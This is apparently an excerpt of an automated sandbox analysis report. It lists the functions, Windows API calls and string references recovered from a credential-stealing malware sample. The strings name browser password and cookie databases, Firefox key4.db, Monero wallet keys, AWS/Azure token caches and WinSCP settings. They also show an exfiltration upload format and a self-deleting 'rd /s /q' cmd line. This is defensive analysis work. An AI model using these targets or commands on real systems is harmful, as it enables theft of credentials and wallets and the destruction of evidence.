Opcode Fuzzy Hash: 147f18f658a4627c497f47d40985670674bd45b1b97b9c5dcec16a5a094effb5
Instruction Fuzzy Hash: 9901FE76D012145FD704DF55ECC1DAA3B79AF86325B054038E81AF7391E630EE58C7A4

Function 0042BD1E Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 31fileCOMMON

Download Yara Rule

APIs

FindFirstFileA.KERNEL32(?,?), ref: 0042BD60

Strings

%s\*, xrefs: 0042BD30, 0042BD36, 0042BD4D

Memory Dump Source

Source File: 00000001.00000002.2658080535.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: FileFindFirst
String ID: %s\*
API String ID: 1974802433-766152087
Opcode ID: c3e509897c29787022350f80ffc0ff6cef781e262badee9c2a4ab92802de6c54
Instruction ID: 931b0de070de10b7e66256f6a66663b599e1610311875de6a1b42976d5bd7aee
Opcode Fuzzy Hash: c3e509897c29787022350f80ffc0ff6cef781e262badee9c2a4ab92802de6c54
Instruction Fuzzy Hash: 7CF054B66202059FD704DF6CEC91D6A33ECAB85214F040939BC15D3352EA75B9088B54

Function 0041F53D Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 28timeCOMMON

Download Yara Rule

APIs

GetTimeZoneInformation.KERNEL32 ref: 0041F573

Strings

6l, xrefs: 0041F547

Memory Dump Source

Source File: 00000001.00000002.2658080535.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: InformationTimeZone
String ID: 6l
API String ID: 565725191-3579878408
Opcode ID: d1f1aa9db316d0556c24cff3fcebf8ffe5a39d00abe2e1027b6969b4bb4cace5
Instruction ID: 51eb3bd1622886aac5f8ccd9b6177312287d20add2d8b6e62fb82a58f3c5e34c
Opcode Fuzzy Hash: d1f1aa9db316d0556c24cff3fcebf8ffe5a39d00abe2e1027b6969b4bb4cace5
Instruction Fuzzy Hash: 52E092BA700200BBD32CDF3CDDD5F5A36A99B86364B15463CB125CB3D9D9719C148658

Function 004201FF Relevance: 3.0, APIs: 2, Instructions: 33processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0042023A
Process32First.KERNEL32(00000000,?), ref: 0042024A

Memory Dump Source

Source File: 00000001.00000002.2658080535.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: CreateFirstProcess32SnapshotToolhelp32
String ID:
API String ID: 2353314856-0
Opcode ID: 51a0a3a86996dd71d6c256b735e4ff4c0fdb01524f04b67741bc59405e23ec16
Instruction ID: c579f703dafad097f5d9c0689e3975df6c889f8e9946543bcf98fd5d00d92f8f
Opcode Fuzzy Hash: 51a0a3a86996dd71d6c256b735e4ff4c0fdb01524f04b67741bc59405e23ec16
Instruction Fuzzy Hash: 50F0BE767003215BDB24CF2ADC85F5BBBA9FBC6300F084819B455CB391CA70D814CB69

Function 004018DA Relevance: 1.6, APIs: 1, Instructions: 94fileCOMMON

Download Yara Rule

APIs

FindFirstFileA.KERNEL32(00000000,?), ref: 004019DA

Memory Dump Source

Source File: 00000001.00000002.2658080535.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: 3c1b4fee3c951a545f55fd42dc46924680b74bce36de95e4240348f77afb1a4e
Instruction ID: 384581a553c9b641a9d9dadc207eefd58bf68b9b5068ecbce6f45e1e004277aa
Opcode Fuzzy Hash: 3c1b4fee3c951a545f55fd42dc46924680b74bce36de95e4240348f77afb1a4e
Instruction Fuzzy Hash: D13120BAA001649FC704DF98DC91AAD73B9EFC5608B08446CB51AE3351EA74BF45CB58

Function 0040E749 Relevance: 1.6, APIs: 1, Instructions: 71fileCOMMON

Download Yara Rule

APIs

FindFirstFileA.KERNEL32(00000000,?), ref: 0040E7FD

Memory Dump Source

Source File: 00000001.00000002.2658080535.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: ca8952b2d87523698d5ab2caeaa578ab4bbb1f7eb8d0a0ed884b13eb9ba42fca
Instruction ID: 6d01b9231f5bbaf653de1ab32846f44ac3f5364cab858fddac85960c65a6f770
Opcode Fuzzy Hash: ca8952b2d87523698d5ab2caeaa578ab4bbb1f7eb8d0a0ed884b13eb9ba42fca
Instruction Fuzzy Hash: 2521DB366002048FCB14DF9CCCC4FA937A5AB8A314F044538B429E7352DA34AA18CB5A

Function 00412AC9 Relevance: 1.6, APIs: 1, Instructions: 71fileCOMMON

Download Yara Rule

APIs

FindFirstFileA.KERNEL32(00000000,?), ref: 00412B77

Memory Dump Source

Source File: 00000001.00000002.2658080535.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: 219f719297c6cbb6f48a629ba439f8744997e797cd7ddcf31338611ae8ca9535
Instruction ID: 8bab2d8d4da6b135567d6663b7f8523f409fe4a46747f795839d2863d3a3a458
Opcode Fuzzy Hash: 219f719297c6cbb6f48a629ba439f8744997e797cd7ddcf31338611ae8ca9535
Instruction Fuzzy Hash: CA2192BAB002049FCB18DBACEC81EDD73B6EFC6305B184124A815D3351DA34AE15CB59

Function 0041F9A3 Relevance: 1.5, APIs: 1, Instructions: 35COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32 ref: 0041F9BC

Memory Dump Source

Source File: 00000001.00000002.2658080535.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: InfoSystem
String ID:
API String ID: 31276548-0
Opcode ID: 1b2d5af43dd12cc97f1ca22d2a4559b3dc75b8610e382d2f08405efa2324d8b1
Instruction ID: d6f07fd9729eab18bf35d97595002372c1d2e6aa75cde9e8f8970a3912b3b12f
Opcode Fuzzy Hash: 1b2d5af43dd12cc97f1ca22d2a4559b3dc75b8610e382d2f08405efa2324d8b1
Instruction Fuzzy Hash: 09F0A0B7A000186BD2209759FC81D9B77ADEFCA21CB090121FA5993311E2256E1E86BA

Function 0040C009 Relevance: 1.5, APIs: 1, Instructions: 30encryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32 ref: 0040C04B

Memory Dump Source

Source File: 00000001.00000002.2658080535.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: CryptDataUnprotect
String ID:
API String ID: 834300711-0
Opcode ID: 76bf32a98701eed808fdec152c3dcd3fa556dd761d2147bff69bd5c35468af49
Instruction ID: f83c4e979e2241c40376acb44744fe4fe1f605f54e99aba1f5e8c3a0c1513ffb
Opcode Fuzzy Hash: 76bf32a98701eed808fdec152c3dcd3fa556dd761d2147bff69bd5c35468af49
Instruction Fuzzy Hash: 69F06D719083068FC304DF28C984A16BBF1EFC9754F05CA5DE88897301E630D994CB96

Function 0042D98B Relevance: 1.5, APIs: 1, Instructions: 25COMMON

Download Yara Rule

APIs

GetUserNameW.ADVAPI32(?,?), ref: 0042D9B4

Memory Dump Source

Source File: 00000001.00000002.2658080535.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: NameUser
String ID:
API String ID: 2645101109-0
Opcode ID: a27b26a9cc07503a5ffd4f9d8fd2edf3d2294b961f27338cad1e6b7784a11e9c
Instruction ID: 06ca29c7c77cbb7dcb3cfc013ab395935eb095cd7e1a9a9979d4901d29d8eb17
Opcode Fuzzy Hash: a27b26a9cc07503a5ffd4f9d8fd2edf3d2294b961f27338cad1e6b7784a11e9c
Instruction Fuzzy Hash: 9DE092BB2042009BC310DF28DD91EA677E9EB86300F05456CA985C7251E670FC04C755

Function 00428DDA Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

GetLogicalDriveStringsA.KERNEL32(00000064,?), ref: 00428DF2

Memory Dump Source

Source File: 00000001.00000002.2658080535.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: DriveLogicalStrings
String ID:
API String ID: 2022863570-0
Opcode ID: 113d1b87fdbe9d4d3ad158efa6e221a9b99e2fa62463c5cd1ef1ff41a886c9bb
Instruction ID: f49399131d6cd1a0a0357cdb0235bfa083d093eafebc625f1058b8577526638d
Opcode Fuzzy Hash: 113d1b87fdbe9d4d3ad158efa6e221a9b99e2fa62463c5cd1ef1ff41a886c9bb
Instruction Fuzzy Hash: 42F039B9E012059FEB08CF54D891BD87BB1BB04300F24047DE606DB782DA3499488B80

Function 0040A09E Relevance: 1.5, APIs: 1, Instructions: 18networkCOMMON

Download Yara Rule

APIs

recv.WS2_32(?,?,00001000,00000000), ref: 0040A0BA

Memory Dump Source

Source File: 00000001.00000002.2658080535.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: recv
String ID:
API String ID: 1507349165-0
Opcode ID: b6777f99fcc9ab9d3b0273c25965793aa14402d70d0dc89c73ee46f9b8689617
Instruction ID: 22b8e15c2dc92d2d8ce7db97a0b63f0b975dcbef69a24b4e2dabaf85396e310b
Opcode Fuzzy Hash: b6777f99fcc9ab9d3b0273c25965793aa14402d70d0dc89c73ee46f9b8689617
Instruction Fuzzy Hash: 81E01235340240EBE755D75CDD95F6133D5EB84344F4808387A16DB382EA74ED15C715

Function 0041F6B3 Relevance: 1.5, APIs: 1, Instructions: 18COMMON

Download Yara Rule

APIs

GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 0041F6D2

Memory Dump Source

Source File: 00000001.00000002.2658080535.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 074da7e7c8075810696abcef79b98451fad9a9472c3c4834b1dbe4cbc0ff9711
Instruction ID: 328520a2f6c71d951bdf48b5bb8b27dd49798bebe312cf515b58bf2676e38ca3
Opcode Fuzzy Hash: 074da7e7c8075810696abcef79b98451fad9a9472c3c4834b1dbe4cbc0ff9711
Instruction Fuzzy Hash: 77E08CBA70030097D7188B4ADC55F35B3E6ABE8704F18842DA906CB3E5D678EC048600

Function 00405B4B Relevance: 19.9, APIs: 4, Strings: 7, Instructions: 673
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000,00000000,00000000), ref: 00406179
memcpy.MSVCRT(00000000,?,00000000), ref: 004061AC
memcpy.MSVCRT(00000000,?,?), ref: 004061D7
memcpy.MSVCRT(?,?,00000000), ref: 0040622A

Strings

token, xrefs: 00405C87, 00405C8D, 00405C9C, 00405CA1
------, xrefs: 00405B82, 00405B88, 00405B89, 00405B9F, 00405D5B, 00405D60, 00405EC3, 00405EC8, 00406023, 00406028
file_name, xrefs: 00405F6E, 00405F74, 00405F84
file_data, xrefs: 004060CE, 004060D4, 004060E4
build_id, xrefs: 00405E06, 00405E0C, 00405E1C
", xrefs: 00405CCE, 00405CD4, 00405CE4, 00405E43, 00405E48, 00405FAB, 00405FB0, 0040610B, 00406110
Content-Disposition: form-data; name=", xrefs: 00405C40, 00405C46, 00405C55, 00405C5A, 00405DD4, 00405DD9, 00405F3C, 00405F41, 0040609C, 004060A1

Memory Dump Source

Source File: 00000001.00000002.2658080535.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: memcpy$AllocateHeap
String ID: "$------$Content-Disposition: form-data; name="$build_id$file_data$file_name$token
API String ID: 4068229299-1375094155
Opcode ID: ccfd5a6aefc9422aae94d8b475944c0a34b64018c2f12c8ae1d3fb1001b9740d
Instruction ID: e566b6749127b83421f7d8bd2921eeafd4c76e6b7559269ba93b841b997abff9
Opcode Fuzzy Hash: ccfd5a6aefc9422aae94d8b475944c0a34b64018c2f12c8ae1d3fb1001b9740d
Instruction Fuzzy Hash: 2B2231B93024106FCB45DB9DDC91AAEB3EAAFDA208308403DE019D3362DB749E159B5D

Function 0042AE60 Relevance: 16.8, APIs: 3, Strings: 8, Instructions: 265
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 0042AE7E
memset.MSVCRT ref: 0042AF8E
memset.MSVCRT ref: 0042B075

Strings

Azure\.aws, xrefs: 0042B043
\.IdentityService\, xrefs: 0042B0C6, 0042B0CC, 0042B0D9
Azure\.IdentityService, xrefs: 0042B146
msal.cache, xrefs: 0042B11F
*.*, xrefs: 0042AF34
\.azure\, xrefs: 0042AED5, 0042AEDB, 0042AEE8
\.aws\, xrefs: 0042AFE0, 0042AFE6, 0042AFF3
Azure\.azure, xrefs: 0042AF5B

Memory Dump Source

Source File: 00000001.00000002.2658080535.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: memset
String ID: *.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$\.IdentityService\$\.aws\$\.azure\$msal.cache
API String ID: 2221118986-3645552435
Opcode ID: a7a371ecf0f8076029e4cc7b57d98caedca736390b6fe0b7d350fb9b107a7fc3
Instruction ID: 0a88e78158d51e52cee96e28e865b3ad23bc5ccfa02deae9633e4b981ae8c292
Opcode Fuzzy Hash: a7a371ecf0f8076029e4cc7b57d98caedca736390b6fe0b7d350fb9b107a7fc3
Instruction Fuzzy Hash: 7691B6BAB101005FC704DFACDC92A6A37E9FB89745B040539F919D3312D774EA18CB99

Function 0042D6FE Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 126
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ShellExecuteExA.SHELL32(?), ref: 0042D844
memset.MSVCRT ref: 0042D864
ExitProcess.KERNEL32(00000000), ref: 0042D87E

Strings

/c timeout /t 10 & rd /s /q "C:\ProgramData\, xrefs: 0042D710, 0042D716, 0042D72B, 0042D730
C:\Windows\system32\cmd.exe, xrefs: 0042D810
open, xrefs: 0042D7E4
" & exit, xrefs: 0042D786, 0042D78C, 0042D79B

Memory Dump Source

Source File: 00000001.00000002.2658080535.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: ExecuteExitProcessShellmemset
String ID: " & exit$/c timeout /t 10 & rd /s /q "C:\ProgramData\$C:\Windows\system32\cmd.exe$open
API String ID: 1852908831-1940193709
Opcode ID: 95da33e724ad7f7f1facfc5f5cbbdf1cb13fd9b5e6c9d2578defee88dc884ed4
Instruction ID: 098bc2924f9ee01437336e5800c6ce94c3868001c570cf6b015aab2e16dea32b
Opcode Fuzzy Hash: 95da33e724ad7f7f1facfc5f5cbbdf1cb13fd9b5e6c9d2578defee88dc884ed4
Instruction Fuzzy Hash: 3E418F76B006049BC700DF9EDC81AA973E5BFD9709B544139E818C3322DBB8EA5D8B5D

Function 00401269 Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 193
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CopyFileA.KERNEL32(?,00000000,00000001), ref: 0040143A

Strings

\Monero\wallet.keys, xrefs: 004012E8, 004012EE, 00401300
qqt, xrefs: 00401478
Wallets, xrefs: 004012B8, 004012BE, 004012D0
.keys, xrefs: 0040127B, 00401281, 0040128E
C:\ProgramData\, xrefs: 0040134E, 00401354, 00401366

Memory Dump Source

Source File: 00000001.00000002.2658080535.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: CopyFile
String ID: .keys$C:\ProgramData\$Wallets$\Monero\wallet.keys$qqt
API String ID: 1304948518-871694886
Opcode ID: bcf8bd0ac6d000634b5e246621a22b8677468eee09fcaad6715c8c6ff53502ca
Instruction ID: 4c681ad49ab06f5896c58da0b9540375c669d7131f99efe7552204115c3c8ad3
Opcode Fuzzy Hash: bcf8bd0ac6d000634b5e246621a22b8677468eee09fcaad6715c8c6ff53502ca
Instruction Fuzzy Hash: 365151767101145FC704DB9CEC91EAE33BAEBCA604708442EE916D7316DEB4EE15CB58

Function 0042D651 Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 189
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ShellExecuteExA.SHELL32(?), ref: 0042D844
memset.MSVCRT ref: 0042D864
ExitProcess.KERNEL32(00000000), ref: 0042D87E

Strings

C:\Windows\system32\cmd.exe, xrefs: 0042D810
open, xrefs: 0042D7E4
" & exit, xrefs: 0042D786, 0042D78C, 0042D79B

Memory Dump Source

Source File: 00000001.00000002.2658080535.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: ExecuteExitProcessShellmemset
String ID: " & exit$C:\Windows\system32\cmd.exe$open
API String ID: 1852908831-1505117684
Opcode ID: f39581be4dbb3ba82523aaef3800270a0935aa1f83886992f7c7e9bff6325244
Instruction ID: e551c106cc49a58ed8e142b4f9164b15046ded37baae1d2c715c840eb547d2f3
Opcode Fuzzy Hash: f39581be4dbb3ba82523aaef3800270a0935aa1f83886992f7c7e9bff6325244
Instruction Fuzzy Hash: E6519E76B006048BC304DF9EDC81AAE73E5AFDA6067584139E815C3322DBB8EE5D875D

Function 00414223 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 65
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 0041423F
memset.MSVCRT ref: 00414258
memset.MSVCRT ref: 00414269
memset.MSVCRT ref: 0041427A
RegOpenKeyExA.KERNEL32(80000001,Software\Martin Prikryl\WinSCP 2\Configuration,00000000,00000001,?), ref: 004142C2

Strings

Software\Martin Prikryl\WinSCP 2\Configuration, xrefs: 004142A2, 004142A8, 004142BC

Memory Dump Source

Source File: 00000001.00000002.2658080535.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: memset$Open
String ID: Software\Martin Prikryl\WinSCP 2\Configuration
API String ID: 276825008-2822339690
Opcode ID: 875ea9aeca57663236e07e7b8b738bcf569ddb3b5275693e73b7244f09e5574d
Instruction ID: a4149cbd55dcf9ec5f86b160d7cd1004748f282e2d089feb1e299a34521fe547
Opcode Fuzzy Hash: 875ea9aeca57663236e07e7b8b738bcf569ddb3b5275693e73b7244f09e5574d
Instruction Fuzzy Hash: 9B11B2B2C511246BD720DBA6DC8DD9B3B7CEB8A310F04407EB519DB240E6B59914CBE5

Function 00409E2C Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 186
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

send.WS2_32(?,00000000,00000000,00000000), ref: 0040A046

Strings

HTTP/1.1Host: , xrefs: 00409EAA, 00409EB0, 00409EC1
Connection: UpgradeUpgrade: websocketSec-WebSocket-Key: , xrefs: 00409F4B, 00409F51, 00409F65
Sec-WebSocket-Version: 13, xrefs: 00409F9C, 00409FA2, 00409FB6
GET , xrefs: 00409E6D, 00409E73, 00409E8F

Memory Dump Source

Source File: 00000001.00000002.2658080535.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: send
String ID: Connection: UpgradeUpgrade: websocketSec-WebSocket-Key: $Sec-WebSocket-Version: 13$ HTTP/1.1Host: $GET
API String ID: 2809346765-3104479224
Opcode ID: 8a2df545890ebcd2ccde8c9d34e4fad38da15e8cd78b0d0eae1f2fea33df3467
Instruction ID: f09d3922218363589a7554bb9a070cc817d1bc8e78065892c14d31b0da745550
Opcode Fuzzy Hash: 8a2df545890ebcd2ccde8c9d34e4fad38da15e8cd78b0d0eae1f2fea33df3467
Instruction Fuzzy Hash: DB516876644101AFC324CB5CECD5F9A73D9AFC6214F0C4538E41AC3351E6B8AE28C75A

Function 0040CB8C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 124
memoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000,00000000,000F423F), ref: 0040CBB0
RtlFreeHeap.NTDLL(00000000,00000000,?), ref: 0040CCB4
DeleteFileA.KERNEL32(00000000), ref: 0040CCCD

Strings

_passwords.db, xrefs: 0040CC24, 0040CC2A, 0040CC37

Memory Dump Source

Source File: 00000001.00000002.2658080535.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: Heap$AllocateDeleteFileFree
String ID: _passwords.db
API String ID: 2485951164-1485422284
Opcode ID: a7043d1debc52e48b3003d44f97e9eac390a076a658ce9e3e3632af536d91c4e
Instruction ID: b37c3980acad7b287a63fd84c6568bc53c6d2d1415935e73d4ad3cc0f33b3f93
Opcode Fuzzy Hash: a7043d1debc52e48b3003d44f97e9eac390a076a658ce9e3e3632af536d91c4e
Instruction Fuzzy Hash: 85414EB66401159BD704EB6CEC95E6E77F9FFCA7047084428E419D3311CA34AA26CB9E

Function 0040E827 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 176
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0040E9D2

Strings

C:\ProgramData\, xrefs: 0040E8D3, 0040E8D9, 0040E8EB
\key4.db, xrefs: 0040E865, 0040E86B, 0040E87A

Memory Dump Source

Source File: 00000001.00000002.2658080535.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: CopyFile
String ID: C:\ProgramData\$\key4.db
API String ID: 1304948518-833217315
Opcode ID: 8d79dbb0ad1e7ac8fa06e4d058e647d1ef10b1d8f58137d4c59b0f9ceb188360
Instruction ID: 6ad7053288e18fb2becd3ba35519820a6c95b5cb6f0518f62bf394652a1526bb
Opcode Fuzzy Hash: 8d79dbb0ad1e7ac8fa06e4d058e647d1ef10b1d8f58137d4c59b0f9ceb188360
Instruction Fuzzy Hash: 79517EB67401149FC704CB9CDDC1FAD33BAEFC9604B084428E406E7356DA78AE25CB9A

Function 0040DDC3 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 127
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0040DEE9

Strings

C:\ProgramData\, xrefs: 0040DDEB, 0040DDF1, 0040DE03
$|X, xrefs: 0040DF31

Memory Dump Source

Source File: 00000001.00000002.2658080535.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: CopyFile
String ID: $|X$C:\ProgramData\
API String ID: 1304948518-2556949440
Opcode ID: b8ece8a38ac88d1a9e8b8c62dba14a6124fe639d5abe7aed50bc7201f7af8475
Instruction ID: 210b412480b9b1f6e40c5c6a5c6a986acd163ec9f824bb5448706ba36133746a
Opcode Fuzzy Hash: b8ece8a38ac88d1a9e8b8c62dba14a6124fe639d5abe7aed50bc7201f7af8475
Instruction Fuzzy Hash: 5D4197BAB421109FD714DB6CDC81BDD73F5AF8A304B094565E806D3321DB74AE24CB99

Function 0040E0C8 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 113fileCOMMON

Download Yara Rule

APIs

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0040E1F0

Strings

C:\ProgramData\, xrefs: 0040E0F5, 0040E0FB, 0040E10D
$|X, xrefs: 0040E20B

Memory Dump Source

Source File: 00000001.00000002.2658080535.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: CopyFile
String ID: $|X$C:\ProgramData\
API String ID: 1304948518-2556949440
Opcode ID: 90415b50240b5b3216ec83fa10819a54488d92d7aab5751acc4f0ee742999494
Instruction ID: a0ca7a678a9fc7aef83b92d14bb0b022872ceb26902699c26760bdc125b8b43a
Opcode Fuzzy Hash: 90415b50240b5b3216ec83fa10819a54488d92d7aab5751acc4f0ee742999494
Instruction Fuzzy Hash: 1C415EB67420109BDB05CB9CDCD1FDD77B5BF8A304B094839E40AE3361DA74AE298B59

Function 0040E26E Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 102fileCOMMON

Download Yara Rule

APIs

DeleteFileA.KERNEL32(00000000), ref: 0040E382

Strings

_history.db, xrefs: 0040E2EB, 0040E2F1, 0040E301, 0040E306
$|X, xrefs: 0040E3A9

Memory Dump Source

Source File: 00000001.00000002.2658080535.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: DeleteFile
String ID: $|X$_history.db
API String ID: 4033686569-3470021098
Opcode ID: a307596c9b0dbdd293c27af80e64e3424aa25886e0e5d8551a5afdc3c504056d
Instruction ID: de087bb8a02b9b5954df5ad64bbb9d21ead85b46a7a89c4a5d4623f81effc206
Opcode Fuzzy Hash: a307596c9b0dbdd293c27af80e64e3424aa25886e0e5d8551a5afdc3c504056d
Instruction Fuzzy Hash: 404163BAA411049FCB05CFA8DC81AEDB7F1FF89304B048429E815D3315DB78AA15CF59

Function 0040DF3F Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 101fileCOMMON

Download Yara Rule

APIs

DeleteFileA.KERNEL32(00000000), ref: 0040E049

Strings

_webdata.db, xrefs: 0040DFB6, 0040DFBC, 0040DFCC
$|X, xrefs: 0040E070

Memory Dump Source

Source File: 00000001.00000002.2658080535.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: DeleteFile
String ID: $|X$_webdata.db
API String ID: 4033686569-158154304
Opcode ID: b2a32d48ddfb3c47622254f12c8ef012da89dcf3320ef21effe23d5c0090a455
Instruction ID: 7ce97649fd713c523dbf5e134aa6649b44230df0f9e0713be51a9fe393079403
Opcode Fuzzy Hash: b2a32d48ddfb3c47622254f12c8ef012da89dcf3320ef21effe23d5c0090a455
Instruction Fuzzy Hash: 4D4183BAA411149FCB04CFACDC81ADDB7F5BF89300B098415E815E7325DB78AA15CF99

Function 004077B6 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 45networkCOMMON

Download Yara Rule

APIs

HttpOpenRequestA.WININET(?,GET,?,HTTP/1.1,00000000,00000000,?,00000000), ref: 00407822

Strings

GET, xrefs: 004077DE, 004077E4, 0040781B, 00407820
HTTP/1.1, xrefs: 004077FC, 00407802, 00407817

Memory Dump Source

Source File: 00000001.00000002.2658080535.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: HttpOpenRequest
String ID: GET$HTTP/1.1
API String ID: 1984915467-4061949999
Opcode ID: 217fecd13b2460af1abae7b9b74faf3b90c66457f266eb17740facb1646511b5
Instruction ID: 88c5459bb71fff4a7f8c34efe04472a59221c94ba1fcd3e659fa59ec531c01e0
Opcode Fuzzy Hash: 217fecd13b2460af1abae7b9b74faf3b90c66457f266eb17740facb1646511b5
Instruction Fuzzy Hash: A201D4B87102059FDB08CF54DDC2E6B37AAFB9A305B04412DE402D3311E6B4BD14D799

